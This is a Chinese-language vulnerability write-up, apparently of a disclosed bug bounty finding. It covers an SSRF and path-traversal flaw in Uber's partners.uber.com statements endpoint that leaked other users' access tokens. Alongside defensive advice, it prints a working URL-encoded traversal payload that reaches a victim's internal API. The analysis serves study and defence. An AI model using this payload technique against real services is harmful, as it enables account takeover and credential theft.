Uber API调用缺陷导致的账户劫持漏洞分析
漏洞概述
本漏洞是一个结合了SSRF(服务端请求伪造)和路径遍历(Path Traversal)技术的账户劫持漏洞,存在于Uber的微服务架构中。攻击者通过精心构造的请求,能够获取其他用户的访问令牌(token),从而实现对目标账户的完全控制。
技术背景
微服务架构
Uber采用微服务(Microservice)架构模式:
- 将整个Web应用组织为一系列小型Web服务
- 每个服务可独立编译、部署和扩容
- 通过暴露的API接口相互通信
- 涉及大量REST API调用
漏洞相关概念
- SSRF (Server-Side Request Forgery):攻击者诱使服务器向内部系统发起请求
- Path Traversal:通过操纵文件路径访问未授权的目录或文件
- IDOR (Insecure Direct Object Reference):直接访问未授权资源
漏洞发现过程
初始观察
在partners.uber.com/p3/money/statements/view/current端点发现:
- 服务端响应包含内部API调用细节
- 响应中意外泄露用户访问令牌(
"token":"ACCESS_TOKEN_OF_USER") - API调用缺乏身份验证头(
X-Auth-Token)
响应分析
服务端响应示例:
{
"request": {
"uri": {
"protocol": "http",
"slashes": true,
"auth": null,
"host": "127.0.0.1:123",
"port": "123",
"hostname": "127.0.0.1",
"hash": null,
"search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
"query": "earnings_structure_type=&locale=en&user_id=xxxxx",
"pathname": "/v1/partners/xxxxx/statements/current",
"path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
"href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
},
"token": "ACCESS_TOKEN_OF_USER",
...
}
}
关键点:
- 内部API调用格式:
http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx - 路径构造方式:前端请求的
current被附加到pathname结尾 - 响应中包含用户token
漏洞利用条件
需要找到一个满足以下条件的前端端点:
- 允许传递任意参数
- 支持URL编码转义字符(如
%23代替#) - 服务端返回完整可读的响应
漏洞利用步骤
1. 识别可操纵端点
发现可利用端点:
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
服务端响应包含:
"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"
2. 测试路径遍历
初始测试:
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
确认%2f(编码后的/)和../可被解析
3. 构造恶意请求
目标API调用格式:
http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid
构造的攻击URL:
https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23
URL解码后等效于:
https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#
4. 获取目标token
服务端响应将包含:
- 目标用户的API调用信息
- 目标用户的访问令牌
技术原理
- SSRF利用:通过操纵前端请求,诱导服务器发起内部API调用
- Path Traversal:使用
../穿越目录结构,到达目标API端点 - 参数注入:通过URL编码和
#截断,控制API调用的参数 - Token泄露:微服务间缺乏严格的身份验证,导致敏感信息泄露
防御措施
-
输入验证:
- 严格验证所有用户提供的路径参数
- 禁止
../等路径遍历序列
-
微服务安全:
- 服务间通信应实施双向认证
- 敏感信息(如token)不应在响应中泄露
-
API设计:
- 使用固定、不可操纵的API路径
- 实施严格的访问控制
-
输出过滤:
- 过滤响应中的敏感信息
- 实施最小权限原则
-
监控与日志:
- 监控异常的路径遍历尝试
- 记录详细的访问日志
总结
该漏洞展示了微服务架构中常见的安全隐患:
- 过度信任内部通信
- 缺乏严格的输入验证
- 敏感信息的不当处理
通过结合SSRF和Path Traversal技术,攻击者能够绕过正常身份验证流程,直接获取其他用户的访问凭证。这种漏洞的危害性高,修复奖励通常不低于$4,000。